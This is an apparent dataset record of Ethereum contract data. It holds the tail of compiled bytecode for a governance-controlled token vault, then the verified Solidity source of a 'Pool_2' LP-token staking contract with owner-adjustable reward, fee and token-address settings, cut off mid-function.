ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b612ba8565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b611701600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116b9611c85565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166131159092919063ffffffff16565b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611880611b71565b6118f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60096020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600b60149054906101000a900460ff16151514611b17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4465706f736974732061726520616c726561647920756e6c6f636b656400000081525060200191505060405180910390fd5b6000600b60146101000a81548160ff021916908315150217905550565b611b45611b4033611830565b610fd9565b565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bb4612ba0565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c685780601f10611c3d57610100808354040283529160200191611c68565b820191906000526020600020905b815481529060010190602001808311611c4b57829003601f168201915b5050505050905090565b600b60149054906101000a900460ff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d2657600080fd5b505afa158015611d3a573d6000803e3d6000fd5b505050506040513d6020811015611d5057600080fd5b8101908080519060200190929190505050905090565b6000611e29611d73612ba0565b84611e248560405180606001604052806025815260200161409b6025913960016000611d9d612ba0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b612ba8565b6001905092915050565b600080611e3e612ba0565b9050611e52611e4b612ba0565b8585612d9f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121d8576000611f4c600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3e600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876133e890919063ffffffff16565b61346e90919063ffffffff16565b9050611fba84604051806060016040528060268152602001613e8c60269139600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061204f84600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe81604051806060016040528060268152602001613e8c60269139600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219381600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600191505092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60001515600b60149054906101000a900460ff16151514612373576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4465706f7369747320617265206c6f636b65640000000000000000000000000081525060200191505060405180910390fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561241457600080fd5b505afa158015612428573d6000803e3d6000fd5b505050506040513d602081101561243e57600080fd5b810190808051906020019092919050505090506124a0333084600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613540909392919063ffffffff16565b61250f600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166136469092919063ffffffff16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f25836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561258457600080fd5b505af1158015612598573d6000803e3d6000fd5b505050506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561263d57600080fd5b505afa158015612651573d6000803e3d6000fd5b505050506040513d602081101561266757600080fd5b81019080805190602001909291905050509050600061268f838361339e90919063ffffffff16565b90506126e384600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277881600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127c53382613866565b50505050565b6000600b60149054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60001515600b60149054906101000a900460ff1615151461292e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4465706f736974732061726520616c7265616479206c6f636b6564000000000081525060200191505060405180910390fd5b6001600b60146101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612ab4600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612a7457600080fd5b505afa158015612a88573d6000803e3d6000fd5b505050506040513d6020811015612a9e57600080fd5b81019080805190602001909291905050506122ea565b565b612abe611b71565b612b30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612b3981613a21565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612c2e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140176024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f1d6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613ff26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613eb26023913960400191505060405180910390fd5b612f1681604051806060016040528060268152602001613f62602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290613102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130c75780820151818401526020810190506130ac565b50505050905090810190601f1680156130f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6131e1838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561326c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613fd16021913960400191505060405180910390fd5b6132d781604051806060016040528060228152602001613ed5602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130559092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332e8160025461339e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006133e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613055565b905092915050565b6000808314156133fb5760009050613468565b600082840290508284828161340c57fe5b0414613463576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613f886021913960400191505060405180910390fd5b809150505b92915050565b60006134b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613db2565b905092915050565b600080828401905083811015613536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b613640848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b50505050565b6000811480613740575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561370357600080fd5b505afa158015613717573d6000803e3d6000fd5b505050506040513d602081101561372d57600080fd5b8101908080519060200190929190505050145b613795576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806140656036913960400191505060405180910390fd5b613861838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613b67565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61391e816002546134b890919063ffffffff16565b600281905550613975816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134b890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613ef76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b613b868273ffffffffffffffffffffffffffffffffffffffff16613e78565b613bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613c475780518252602082019150602081019050602083039250613c24565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613ca9576040519150601f19603f3d011682016040523d82523d6000602084013e613cae565b606091505b509150915081613d26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613dac57808060200190516020811015613d4557600080fd5b8101908080519060200190929190505050613dab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061403b602a913960400191505060405180910390fd5b5b50505050565b60008083118290613e5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e23578082015181840152602081019050613e08565b50505050905090810190601f168015613e505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613e6a57fe5b049050809150509392505050565b600080823b90506000811191505091905056fe5661756c743a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373596f752063616e206f6e6c792077697468647261772072657761726420746f6b656e2e45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820719f729cdb45f960dd458601de1a06bb6bb1c97ed8c474612d65d05e5a8954d564736f6c63430005100032
{"success": true, "error": null, "results": {}}
431
0x2c659447b0cb71e05b41638b97d2569aa4d52c2d
/** *Submitted for verification at Etherscan.io on 2021-03-01 */ pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); } contract Pool_2 is Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint256 amount); // YPro token contract address address public tokenAddress = 0xAc9C0F1bFD12cf5c4daDbeAb943473c4C45263A0; // LP token contract address address public LPtokenAddress = 0xa09aA5aB99c71Ab95ed1D2775d0054BF262492AC; // reward rate 100 % per year uint256 public rewardRate = 30000000000; uint256 public rewardInterval = 365 days; // staking fee 0% uint256 public stakingFeeRate = 0; // unstaking fee 0% uint256 public unstakingFeeRate = 0; // unstaking possible after 0 days uint256 public cliffTime = 0 days; uint256 public farmEnableat; uint256 public totalClaimedRewards = 0; uint256 private stakingAndDaoTokens = 100000e18; bool public farmEnabled = false; EnumerableSet.AddressSet private holders; mapping (address => uint256) public depositedTokens; mapping (address => uint256) public stakingTime; mapping (address => uint256) public lastClaimedTime; mapping (address => uint256) public totalEarnedTokens; function updateAccount(address account) private { uint256 pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint256) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint256 timeDiff = now.sub(lastClaimedTime[_holder]); uint256 stakedAmount = depositedTokens[_holder]; if (now > farmEnableat + 7 days) { uint256 pendingDivs = stakedAmount.mul(40000000000).mul(timeDiff).div(rewardInterval).div(1e4); return pendingDivs; } else if (now <= farmEnableat + 7 days) { uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4); return pendingDivs; } } function getNumberOfHolders() public view returns (uint256) { return holders.length(); } function deposit(uint256 amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(farmEnabled, "Farming is not enabled"); require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint256 fee = amountToStake.mul(stakingFeeRate).div(1e4); uint256 amountAfterFee = amountToStake.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint256 amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint256 fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint256 amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakingAndDaoAmount() public view returns (uint256) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } function setTokenAddress(address _tokenAddressess) public onlyOwner { tokenAddress = _tokenAddressess; } function setLPTokenAddress(address _LPtokenAddressess) public onlyOwner { LPtokenAddress = _LPtokenAddressess; } function setCliffTime(uint256 _time) public onlyOwner { cliffTime = _time; } function setRewardInterval(uint256 _rewardInterval) public onlyOwner { rewardInterval = _rewardInterval; } function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner { stakingAndDaoTokens = _stakingAndDaoTokens; } function setStakingFeeRate(uint256 _Fee) public onlyOwner { stakingFeeRate = _Fee; } function setUnstakingFeeRate(uint256 _Fee) public onlyOwner { 